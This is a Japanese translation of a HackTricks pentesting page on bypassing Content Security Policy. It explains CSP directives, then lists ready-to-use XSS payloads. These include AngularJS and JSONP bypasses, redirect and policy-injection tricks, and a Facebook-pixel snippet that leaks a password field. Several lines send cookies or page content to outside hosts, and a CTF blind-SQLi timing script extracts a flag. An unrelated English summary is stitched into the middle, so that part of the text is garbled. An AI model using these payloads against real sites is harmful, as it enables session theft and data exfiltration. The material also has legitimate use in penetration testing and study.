hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

Content Security Policy (CSP) バイパス

htARTE（HackTricks AWS Red Team Expert） を通じて、ゼロからヒーローまでAWSハッキングを学ぶ！

HackTricks をサポートする他の方法:

• HackTricks で企業を宣伝したいまたは HackTricks をPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！
• 公式PEASS＆HackTricksグッズを入手する
• The PEASS Familyを発見し、独占的な NFTs のコレクションを見つける
• **💬 Discord グループ に参加するか、telegram グループ に参加するか、Twitter 🐦 @carlospolopm をフォローする
• ハッキングトリックを共有するために、PRを HackTricks と HackTricks Cloud のGitHubリポジトリに提出する

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために HackenProof Discord サーバーに参加しましょう！

ハッキングの洞察
ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新について知らされる

**Discord に参加して、今日からトップハッカーと協力を始めましょう！

CSPとは

Content Security Policy（CSP）は、主に クロスサイトスクリプティング（XSS）などの攻撃から保護することを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメイン（self）からのリソースの読み込みと実行、インラインリソースの実行、および eval、setTimeout、または setInterval などの関数を介した文字列コードの実行を許可する可能性があります。

CSPの実装は、レスポンスヘッダを介して行われるか、HTMLページにメタ要素を組み込むことによって行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。

• レスポンスヘッダを介して実装されます：

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

• メタタグを使用して実装されます：

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

ヘッダー

CSPはこれらのヘッダーを使用して強制または監視できます：

• Content-Security-Policy：CSPを強制します。ブラウザは違反をブロックします。
• Content-Security-Policy-Report-Only：監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。

リソースの定義

CSPはアクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行やeval()の使用などの側面を制御します。例として次のポリシーがあります：

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

ディレクティブ

• script-src: JavaScriptの特定ソース（URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプト）を許可します。
• default-src: 特定のフェッチディレクティブが欠落している場合にリソースの取得のデフォルトポリシーを設定します。
• child-src: Webワーカーや埋め込みフレームコンテンツに許可されたリソースを指定します。
• connect-src: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。
• frame-src: フレームのURLを制限します。
• frame-ancestors: 現在のページを埋め込むことができるソースを指定し、<frame>、<iframe>、<object>、<embed>、<applet>などの要素に適用されます。
• img-src: 画像の許可されたソースを定義します。
• font-src: @font-faceを使用してロードされるフォントの有効なソースを指定します。
• manifest-src: アプリケーションマニフェストファイルの許可されたソースを定義します。
• media-src: メディアオブジェクトをロードするための許可されたソースを定義します。
• object-src: <object>、<embed>、<applet>要素の許可されたソースを定義します。
• base-uri: <base>要素を使用してロードするために許可されたURLを指定します。
• form-action: フォーム送信のための有効なエンドポイントをリストします。
• plugin-types: ページが呼び出すことができるMIMEタイプを制限します。
• upgrade-insecure-requests: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
• sandbox: <iframe>のsandbox属性に類似した制限を適用します。
• report-to: ポリシーが違反された場合にレポートが送信されるグループを指定します。
• worker-src: Worker、SharedWorker、またはServiceWorkerスクリプトの有効なソースを指定します。
• prefetch-src: フェッチまたはプリフェッチされるリソースの有効なソースを指定します。
• navigate-to: ドキュメントがどのような手段でナビゲートできるURLを制限します（a、form、window.location、window.openなど）。

ソース

• *: data:、blob:、filesystem:スキームを除くすべてのURLを許可します。
• 'self': 同じドメインからの読み込みを許可します。
• 'data': データスキームを介してリソースをロードすることを許可します（例：Base64エンコードされた画像）。
• 'none': 任意のソースからの読み込みをブロックします。
• 'unsafe-eval': eval()などの使用を許可しますが、セキュリティ上の理由から推奨されません。
• 'unsafe-hashes': 特定のインラインイベントハンドラを有効にします。
• 'unsafe-inline': インラインリソース（インラインの<script>や<style>など）の使用を許可しますが、セキュリティ上の理由から推奨されません。
• 'nonce': 暗号的なナンス（一度だけ使用される数値）を使用して特定のインラインスクリプトをホワイトリストに登録します。
• 'sha256-<hash>': 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
• 'strict-dynamic': ナンスまたはハッシュによってホワイトリストに登録された場合、任意のソースからスクリプトをロードすることを許可します。
• 'host': example.comなどの特定のホストを指定します。
• https:: HTTPSを使用するURLに制限します。
• blob:: JavaScriptによって作成されたBlob URLからリソースをロードすることを許可します。
• filesystem:: ファイルシステムからリソースをロードすることを許可します。
• 'report-sample': 違反レポートに違反コードのサンプルを含めます（デバッグに役立ちます）。
• 'strict-origin': 'self'と似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを確認します（セキュアなオリジンからのリソースのみがセキュアなオリジンからのリソースをロードできます）。
• 'strict-origin-when-cross-origin': 同一オリジンのリクエストを行う際には完全なURLを送信しますが、クロスオリジンのリクエストを行う際にはオリジンのみを送信します。
• 'unsafe-allow-redirects': 直ちに別のリソースにリダイレクトされるリソースの読み込みを許可します。セキュリティを弱めるため、推奨されません。

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

動作するペイロード："/><script>alert(1);</script>

Iframesを介したself + 'unsafe-inline'

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

動作するペイロード：

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

もし、許可されたJSコードが新しいスクリプトタグをDOMに作成するように何らかの方法でできれば、許可されたスクリプトがそれを作成しているため、新しいスクリプトタグは実行を許可されるでしょう。

ワイルドカード (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

動作するペイロード：

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-srcとdefault-srcの不足

{% hint style="danger" %} これはもう機能していないようです {% endhint %}

Content-Security-Policy: script-src 'self' ;

動作するペイロード:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

ファイルアップロード + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

もしJSファイルをアップロードできるなら、このCSPをバイパスできます：

動作するペイロード：

"/>'><script src="/uploads/picture.png.js"></script>

しかし、サーバーがアップロードされたファイルを検証し、特定の種類のファイルのみをアップロードできるように制限している可能性が非常に高いです。

さらに、サーバーが受け入れる拡張子を使用してファイル内にJSコードをアップロードできたとしても（例: script.png）、これだけでは不十分です。なぜなら、Apacheサーバーのような一部のサーバーはファイルのMIMEタイプを拡張子に基づいて選択し、Chromeのようなブラウザは画像であるべきものにJavaScriptコードを実行することを拒否するからです。"幸いにも"、間違いがあります。たとえば、CTFから学んだところによると、Apacheは.wave拡張子を認識しないため、audio/*のようなMIMEタイプで提供されません。

ここから、XSSとファイルアップロードを見つけ、誤解された拡張子を見つけることができ、その拡張子とスクリプトの内容を持つファイルをアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することもできます（ここにいくつかのポリグロットの例があります）。

サードパーティのエンドポイント + ('unsafe-eval')

{% hint style="warning" %} 以下のペイロードの一部については、unsafe-evalが必要ないことがあります。 {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Angularの脆弱性バージョンを読み込んで任意のJSを実行する：

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + windowオブジェクトを返す関数を持つライブラリを使用したペイロード（この投稿をチェック）:

{% hint style="info" %} この投稿では、cdn.cloudflare.com（または他の許可されたJSライブラリリポジトリ）からすべてのライブラリをロードし、各ライブラリから追加されたすべての関数を実行し、どのライブラリのどの関数がwindowオブジェクトを返すかを確認できることを示しています。 {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Google reCAPTCHA JSコードの悪用

このCTF解説によると、CSP内でhttps://www.google.com/recaptcha/を悪用して、CSPをバイパスして任意のJSコードを実行することができます。

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

サードパーティのエンドポイント + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

以下のようなシナリオでは、script-src が self と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。JSONP エンドポイントはセキュリティの弱いコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。動作するペイロード:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee には、さまざまなウェブサイトのCSP バイパス用のJSONP エンドポイントが含まれています。

信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します。初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。

サードパーティの悪用

次の投稿で説明されているように、CSP で許可されている可能性がある多くのサードパーティドメインは、データの外部流出やJavaScript コードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです：

エンティティ	許可されたドメイン	機能
Facebook	www.facebook.com, *.facebook.com	外部流出
Hotjar	*.hotjar.com, ask.hotjar.io	外部流出
Jsdelivr	*.jsdelivr.com, cdn.jsdelivr.net	実行
Amazon CloudFront	*.cloudfront.net	外部流出、実行
Amazon AWS	*.amazonaws.com	外部流出、実行
Azure Websites	*.azurewebsites.net, *.azurestaticapps.net	外部流出、実行
Salesforce Heroku	*.herokuapp.com	外部流出、実行
Google Firebase	*.firebaseapp.com	外部流出、実行

ターゲットのCSP で許可されているドメインの中にいずれかが見つかった場合、そのサードパーティサービスに登録して、データを外部流出させるかコードを実行する可能性があります。

たとえば、次のCSP が見つかった場合：

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Content Security Policy (CSP) Bypass

Introduction

In some scenarios, you may encounter a website that has a strict Content Security Policy (CSP) in place, which restricts the sources from which certain types of content can be loaded on the page. However, there are ways to bypass CSP protections and execute malicious scripts on the target website.

Bypass Techniques

1. Inline Script Execution: By finding a way to execute inline scripts, you can bypass CSP restrictions that block inline scripts.

2. Unsafe Eval: Leveraging the eval() function can help bypass CSP restrictions that block the use of eval or Function for executing dynamic code.

3. Data: URI: Using data: URIs to load script content can bypass CSP restrictions on loading scripts from external sources.

4. Trusted Types Bypass: Exploiting vulnerabilities in Trusted Types can allow bypassing CSP protections.

Conclusion

Understanding how to bypass CSP protections is crucial for a penetration tester to identify and exploit potential security vulnerabilities in web applications. By utilizing various techniques like inline script execution, unsafe eval, data: URI, and Trusted Types bypass, you can effectively bypass CSP restrictions and execute malicious scripts on target websites.

Content-Security-Policy​: connect-src www.facebook.com;​

1. こちらでFacebook Developerアカウントを作成します。
2. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
3. 「Settings -> Basic」に移動し、「App ID」を取得します。
4. データを外部流出させたい対象サイトでは、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを介してデータを外部流出させることができます。
5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します（イベントマネージャーは次のようなURLで見つけることができます：https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events）
6. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。

その後、被害者側で、以下のコードを実行してFacebookトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します：

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

RPO（Relative Path Overwrite）を介したバイパス

前述のパス制限をバイパスするためのリダイレクトに加えて、一部のサーバーで使用できるRelative Path Overwrite（RPO）と呼ばれる別のテクニックがあります。

たとえば、CSPがパスhttps://example.com/scripts/react/を許可している場合、次のようにバイパスできます：

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ブラウザは最終的に https://example.com/scripts/angular/angular.js を読み込みます。

これは、ブラウザにとって、https://example.com/scripts/react/ の下にある ..%2fangular%2fangular.js という名前のファイルを読み込んでいるため、CSPに準拠しています。

したがって、それらはそれをデコードし、効果的に https://example.com/scripts/react/../angular/angular.js をリクエストし、これは https://example.com/scripts/angular/angular.js と同等です。

ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパスすることができます。

解決策は、サーバーサイドで %2f を / として扱わないようにし、ブラウザとサーバー間の一貫した解釈を確保してこの問題を回避することです。

オンライン例: https://jsbin.com/werevijewa/edit?html,output

Iframes JS実行

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri が欠落している場合

base-uri ディレクティブが欠落している場合、dangling markup injection を実行するために悪用できます。

さらに、ページがNonceを使用して相対パスでスクリプトを読み込んでいる場合（例：<script src="/js/app.js">）、base tag を悪用して、あなた自身のサーバーからスクリプトを読み込ませてXSSを達成することができます。
脆弱なページがhttpSで読み込まれている場合は、baseにhttpSのURLを使用してください。

<base href="https://www.attacker.com/">

AngularJS イベント

特定のポリシーであるコンテンツセキュリティポリシー（CSP）はJavaScriptイベントを制限する場合があります。しかし、AngularJSは代替としてカスタムイベントを導入しています。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト $event を提供します。この $event オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは $event/event オブジェクトには、イベントの実行チェーンに関連するオブジェクト配列を保持する path 属性があり、その末尾には常に window オブジェクトが配置されています。この構造はサンドボックス脱出戦術にとって重要です。

この配列を orderBy フィルタに向けることで、その配列を反復処理し、末端要素（window オブジェクト）を利用して alert() のようなグローバル関数をトリガーすることが可能です。以下に示すコードスニペットは、このプロセスを説明しています。

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

このスニペットは、ng-focusディレクティブの使用法を強調し、$event.path|orderByを使用してpath配列を操作し、windowオブジェクトを活用してalert()関数を実行し、それによってdocument.cookieを明らかにします。

他のAngularバイパスを見つける https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJSとホワイトリストされたドメイン

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSPバイパス

Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストに登録するCSPポリシーは、コールバック関数の呼び出しと特定の脆弱なクラスを介してバイパスすることができます。このテクニックに関する詳細な情報は、このgitリポジトリで利用可能な詳細なガイドで確認できます。

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

他のJSONP任意実行エンドポイントはこちらで見つけることができます（一部は削除されたり修正されたりしました）

リダイレクト経由のバイパス

CSPがサーバーサイドのリダイレクトに遭遇した場合、どうなるでしょうか？ リダイレクトが許可されていない異なるオリジンにつながる場合、それは失敗します。

ただし、CSP仕様4.2.2.3. パスとリダイレクトの説明によると、リダイレクトが異なるパスにつながる場合、元の制限をバイパスできます。

以下は例です：

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

CSPがhttps://www.google.com/a/b/c/dに設定されている場合、パスが考慮されるため、/testと/a/testのスクリプトはどちらもCSPによってブロックされます。

ただし、最終的なhttp://localhost:5555/301はサーバーサイドでhttps://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//にリダイレクトされます。これはリダイレクトであるため、パスは考慮されず、スクリプトがロードされるため、パス制限をバイパスできます。

このリダイレクトにより、パスが完全に指定されていてもバイパスされます。

したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことを確認することです。

ダングリングマークアップを使用してCSPをバイパス

こちらで詳細を読む.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' は、コード内で任意のスクリプトを実行できることを意味し（XSS がコードを実行できる）、img-src * は、任意のリソースからの画像をウェブページで使用できることを意味します。

この CSP は、画像を介してデータを外部に送信することで回避できます（この場合、XSS が CSRF を悪用し、ボットによってアクセス可能なページに SQLi が含まれ、画像を介してフラグを抽出します）:

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

この構成を悪用して、画像内に挿入されたJavaScriptコードを読み込むこともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、特別な画像を作成し、Twitterにアップロードして、"unsafe-inline"を悪用して通常のXSSとしてJSコードを実行し、画像を読み込み、そこからJSを抽出して実行することができます: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Service Workersを使用する

Service Workersの**importScripts**関数はCSPに制限されません:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

ポリシーインジェクション

調査: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

あなたが送信したパラメータがポリシーの宣言内に貼り付けられている場合、ポリシーをいくつかの方法で無効にするように変更できます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline'**を許可できます:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

このディレクティブは既存のscript-srcディレクティブを上書きします。
例はこちらで見つけることができます: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edgeでは、これだけをCSPに追加できれば**;_、Edgeはポリシー全体を無効に**します。
例: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; XSS経由での攻撃 (iframe) - タイムアタック

ディレクティブ'unsafe-inline'が欠けていることに注意してください。
今回は、被害者にXSSを介してあなたの制御下のページを読み込ませることができます。この時、被害者に情報を抽出したいページにアクセスさせます（CSRF）。ページの内容にアクセスすることはできませんが、ページが読み込むのに必要な時間を制御できれば、必要な情報を抽出できます。

今回は、フラグが抽出され、SQLiを介して文字が正しく推測されるたびに応答がスリープ関数により遅くなるため、フラグを抽出できます。

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

ブックマークレットを介した攻撃

この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、悪意のあるJavaScriptコードが含まれており、ドラッグ＆ドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。

詳細については、こちらの元のレポートをご覧ください。

CSPの制限によるCSPバイパス

このCTF解説では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、プロトタイプ汚染またはDOMクロブリングを介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。

IframeのCSPを**csp属性で制限**することができます：

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

このCTFの解説 では、HTMLインジェクションを通じて、CSPをより制限することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、脆弱性が悪用可能になりました。
CSPはHTMLメタタグを使用してより制限的に設定でき、インラインスクリプトは削除され、nonceを許可するエントリが削除され、特定のインラインスクリプトをsha経由で有効にできます:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出

サーバーがヘッダー**Content-Security-Policy-Report-Onlyをあなたが制御する値で応答するようにできれば（CRLFのためかもしれません）、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したいJSコンテンツを<script>**でラップし、CSPでunsafe-inlineが許可されていない可能性が非常に高いため、これはCSPエラーをトリガーし、スクリプトの一部（機密情報を含む）がContent-Security-Policy-Report-Onlyからサーバーに送信されます。

例として、このCTF解説を参照してください。

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSPとIframeを使用した情報漏洩

• CSPで許可されているURL（https://example.redirect.comと呼びましょう）を指すiframeが作成されます。
• このURLは、CSPによって許可されていない秘密のURL（例：https://usersecret.example2.com）にリダイレクトします。
• securitypolicyviolation イベントを監視することで、blockedURI プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、初期のURLがリダイレクトされた秘密のドメインを漏洩させます。

興味深いのは、ChromeやFirefoxなどのブラウザが、CSPに関連してiframeを処理する際に異なる挙動を示すことであり、未定義の挙動によって機密情報が漏洩する可能性がある点です。

別のテクニックには、CSP自体を悪用して秘密のサブドメインを推測する方法があります。この方法は、二分探索アルゴリズムに依存し、CSPを調整して特定のドメインを含めることで、意図的にブロックされた特定のドメインをテストします。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を容易にするためにCSPを設定する方法を示すスニペットです：

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP によってブロックまたは許可されるリクエストを監視することで、秘密のサブドメイン内の可能な文字を絞り込み、最終的に完全な URL を明らかにすることができます。

両方の方法は、CSP の実装とブラウザの動作の微妙な点を悪用し、見かけ上安全なポリシーが機密情報を意図せずに漏洩させる方法を示しています。

こちらからのトリック。

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために HackenProof Discord サーバーに参加してください！

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースを維持

最新のお知らせ
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手

Discord で私たちに参加し、今日からトップハッカーと協力を始めましょう！

CSP をバイパスするための安全でないテクノロジー

PHP レスポンスバッファの過負荷

PHP はデフォルトでレスポンスを 4096 バイトまでバッファリングすることで知られています。そのため、PHP が警告を表示している場合、警告内に十分なデータを提供することで、レスポンスがCSP ヘッダーの前に送信され、ヘッダーが無視されるようになります。
その後、このテクニックは基本的に、警告でレスポンスバッファを埋めることで、CSP ヘッダーが送信されないようにするというものです。

この解説からのアイデア。

エラーページの書き換え

この解説 から見ると、エラーページ（おそらく CSP なしで）を読み込んでそのコンテンツを書き換えることで、CSP 保護をバイパスすることが可能だったようです。

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOMEは、ページのエンドポイントでのXSS（または非常に制限されたXSS）を悪用して、同じオリジンの他のエンドポイントを悪用する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページをリフレッシュして、悪用したい同じオリジンの実際のエンドポイントに移動することで行われます。この方法により、脆弱なエンドポイントは**openerオブジェクトをペイロード**で使用して、悪用したい実際のエンドポイントのDOMにアクセスできます。詳細については、次を確認してください：

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

さらに、wordpressには、/wp-json/wp/v2/users/1?_jsonp=dataにJSONPエンドポイントがあり、出力に送信されたデータを反映します（文字、数字、ドットのみの制限付き）。

攻撃者は、そのエンドポイントを悪用してWordPressに対するSOME攻撃を行い、<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>内に埋め込むことができます。このスクリプトは**'self'によって許可されているため、ロードされます。さらに、WordPressがインストールされているため、攻撃者は脆弱な** コールバックエンドポイントを通じてCSPをバイパスしてユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりする可能性があります。
